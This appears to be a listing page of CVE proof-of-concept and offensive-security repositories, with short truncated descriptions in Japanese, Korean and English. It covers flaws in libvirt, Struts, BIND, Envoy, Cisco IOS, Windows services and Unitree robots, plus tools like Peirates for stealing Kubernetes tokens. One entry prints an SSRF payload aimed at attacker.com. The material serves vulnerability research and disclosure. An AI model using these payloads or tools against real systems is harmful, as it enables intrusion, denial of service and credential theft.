external_expat-2.1.0_CVE-2022-25313

이 저장소에는 README가 없습니다...

CVE-2020-25637-libvirt-double-free

CVE-2020-25637 説明 実行中の QEMU ドメインのネットワークインターフェース情報を要求する libvirt API（バージョン 6.8.0 より前）に、二重解放 double free の問題が発生しました。この脆弱性は、ポリシー制御ドライバー polkit に影響を与えます。具体的には、読み書きソケットに接続し、ACL 権限が制限されたクライアントが、この脆弱性を利用して libvirt デーモンをクラッシュさせ、サービス拒否 DoS...

CVE-2020-3766_APSB20-12

CVE-2020-3766APSB20-12 https://vulners.com/cve/CVE-2020-3766 https://helpx.adobe.com/security/products/integrityservice/apsb20-12.html...

CVE-2023-43323

mooSocial: 外部HTTPおよびDNSサービスとの連携 CVE-2023-43323 mooSocial v3.1.8は、投稿機能において外部サービスとの連携に対して脆弱です。実行されると、サーバーは外部サーバーにHTTPおよびDNSリクエストを送信します。 脆弱なパラメーター: messageText 、datawallphoto 、datauserShareVideo 、datauserShareLink エクスプロイト - 概念実証 POC 外部HTTPおよびDNSサービスとの連携 ペイロード: http://attacker.com/?null=...

grype

Grype A vulnerability scanner for container images and filesystems. Features Scan container images , filesystems , and SBOMs for known vulnerabilities see the docs for a full list of supported scan targets Supports major OS package ecosystems Alpine, Debian, Ubuntu, RHEL, Oracle Linux, Amazon...

Proof-of-Concept-POC---CVE-2026-49975-HTTP-2-Bomb-

CVE-2026-49975 - HTTP/2 Bomb 개념 증명 설명 CVE-2026-49975 일명 HTTP/2 Bomb는 대부분의 주요 웹 서버가 기본 HTTP/2 구성에서 영향을 받는 원격 서비스 거부DoS 취약점입니다. 이 취약점은 OpenAI Codex 가 10년 동안 알려진 두 가지 기술을 결합하여 발견했습니다: HPACK Bomb : 네트워크의 1바이트가 서버에서 전체 헤더 할당으로 변환됩니다. Slowloris-style hold : 0바이트 흐름 제어 창으로 메모리 해제를 방지합니다. 영향을 받는 서버 서버| 영...

cantina

アーカイブ済み。このプロジェクトはcustom-oscp-tooling に移行しました。 Cantina のコードはすべて、Star Wars の enum/アドバイザーツールスイートとともに、現在そちらに置かれています。 このリポジトリは履歴保存のため読み取り専用として維持されています。 新しい場所: https://gitlab.com/WattoCyber/custom-oscp-tooling 実行方法: そのリポジトリから python tools/cantina.py Cantina 概要 | ---|--- 何か| Cantina は OSCP...

libgd: buffer overflow when processing specially crafted GIF file

A flaw was found in libgd. Processing a specially crafted GIF file allows a remote attacker to trigger a buffer overflow, resulting in an application crash and a denial of service. Arbitrary code execution is possible in theory, but considered highly unlikely because standard image decompression...

CVE-2020-0001

CVE-2020-0001 시스템 구성 요소를 신뢰할 수 없는 앱 프로세스에서 실행하는 POC 블로그 https://zachinio.com/blogs/cve-2020-0001 사용 방법 앱을 실행하고, 프로세스 "com.android.settings"가 존재하지 않는지 확인한 후 "서비스 시작" 버튼을 클릭합니다. 설정 앱을 실행하거나 시스템 구성 요소가 자동으로 설정 앱을 실행할 때까지 기다립니다...

CVE-2022-23909

CVE-2022-23909 説明: Windows 上で、Sherpa Connector Service バージョン 2020.2.20328.2050 には引用符で囲まれていないサービスパスの脆弱性が存在し、ローカルで認証された管理者権限を持つユーザーが、LocalSystem 権限で悪意のある実行ファイルを実行できる可能性があります。システムの構成が不十分で、低権限ユーザーが "Sherpa Software" または "Sherpa Connector" ディレクトリに書き込み可能な場合、そのユーザーは権限を LocalSystem...

Reconnoitre

OSCP 연구실을 위해 제작된 정찰 도구로, 정보 수집 및 서비스 열거를 자동화하면서 각 호스트에 대한 결과, 발견 사항 및 사용된 익스플로잇, 권장 명령어, 루트 및 플래그 저장을 위한 디렉토리 구조를 만듭니다. 기여는 언제나 환영합니다! 중요 Reconnoitre는 제가 몇 년간 유지 관리해 온 사랑받는 도구이지만, Interlace 내에서 자체 열거 접근 방식을 구축하는 것에 비해 기능 면에서 부족하다고 생각합니다. OSCP를 넘어 Infosec을 탐구하려는 분들은 이 프로젝트를 살펴보시기를 강력히 권장합니다. 크레딧 이...

strutt-cve-2014-0114

CVE-2014-0114 - Struts 1의 취약점 POST 또는 GET 요청의 매개변수는 양식을 기준으로 설정될 속성properties으로 처리됩니다. 매개변수는 중첩된 객체로의 경로일 수 있습니다. Apache Struts 1.x는 Form Beans 에서 getClass를 호출하도록 조작될 수 있습니다. 예를 들어, 양식의 classloader 속성을 직접 조작할 수 있습니다: https://example.com/?class.classLoader.defaultAssertionStatus=true. 내부적으로 Apache...

CVE-2022-35841

CVE-2022-35841 이것은 이론에 대한 간단한 기록일 뿐입니다. 이 버그는 충돌이 있었고 실제로 제대로 테스트하지 못했기 때문입니다. EnterpriseAppMgmtSvc는 COM 개체를 구현하는 흥미로운 서비스입니다. Windows Phone에서 비롯된 것으로 보이며, 실제로 이 함수가 구현하는 대부분의 COM 인터페이스는 Windows Phone에서만 작동하는 데드 코드입니다. OneCore 덕분입니다! 비 WCOS 시스템에서 기본적으로 작동하는 유일한 coclass는...

UniPwn

Unitree ロボット BLE サービス コマンドインジェクション分析 著者: Bin4ry aka Andreas Makris [email protected] 共著者: h0stile aka Kevin Finisterre 寄稿者: legion1581 aka Konstantin Severov（theroboverse より）は、インジェクション用のペイロードの修正を手伝い、完全に動作するPoCでそれを証明してくれました 🙂 ありがとう、これは極めて重要な貢献でした。本当に感謝しています! 日付: 2025年9月20日 CVEs CVE-2025-35027...

Envoy-CPU-Exhaustion-Vulnerability-PoC

Envoy CPU 枯渇脆弱性 PoC このリポジトリには、CONTINUATIONフレームのフラッドによって引き起こされるEnvoyのCPU枯渇脆弱性を実証するための概念実証（PoC）Pythonスクリプトが含まれています。著者: blackmagic 2024 説明...

CVE-2017-3881-exploit-cisco-

Cisco Cluster Management ProtocolCMP 처리 코드의 Cisco IOS 및 Cisco IOS XE 소프트웨어 취약점으로 인해 인증되지 않은 원격 공격자가 영향을 받는 장치를 재부팅하거나 상승된 권한으로 원격 코드를 실행할 수 있습니다. 클러스터 관리 프로토콜은 클러스터 구성원 간의 신호 및 명령 프로토콜로 Telnet을 내부적으로 사용합니다. 이 취약점은 두 가지 요소의 조합으로 인해 발생합니다. 1 CMP 관련 Telnet 옵션 사용을 클러스터 구성원 간의 내부 로컬 통신으로만 제한하지 않고 영향을 ...

peirates

Peirates Peirates란 무엇인가? Kubernetes 침투 도구인 Peirates는 공격자가 권한을 상승시키고 Kubernetes 클러스터를 통해 피벗할 수 있게 해줍니다. 이 도구는 서비스 계정 토큰과 시크릿을 탈취 및 수집하고, 추가적인 코드 실행 권한을 획득하며, 클러스터의 제어권을 장악하기 위한 알려진 기법들을 자동화합니다. Peirates는 어디에서 실행하나요? Peirates는 Kubernetes에서 실행 중인 컨테이너 내부에서, 또는 컨테이너 외부의 Kubernetes 노드에서 실행합니다. Peirate...

CVE-2016-2776

CVE-2016-2776 DNS 패킷에 관한 이야기, BIND의 CVE-2016-2776에 대한 상세 분석 및 개념 증명PoC. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html 이 저장소에서 찾을 수 있는 것: 개념 증명 namedown.py Metasploit 보조 모듈 namedown.rb...

CVE-2024-20656

CVE-2024-20656 VSStandardCollectorService150 サービスにおける EoP の PoC https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/...

CVE-2025-48799

説明 これは、Windows Update サービスの権限昇格の脆弱性である CVE-2025-48799 の PoC です。 この脆弱性は、少なくとも2つのハードドライブを搭載した Windows クライアント Win11/Win10 に影響を与えます。マシンに複数のハードドライブがある場合、Storage Sense を使用して新しいコンテンツが保存される場所を変更することが可能です。新しいアプリケーションの保存場所がセカンダリドライブに変更された場合、新しいアプリケーションのインストール中に、wuauserv...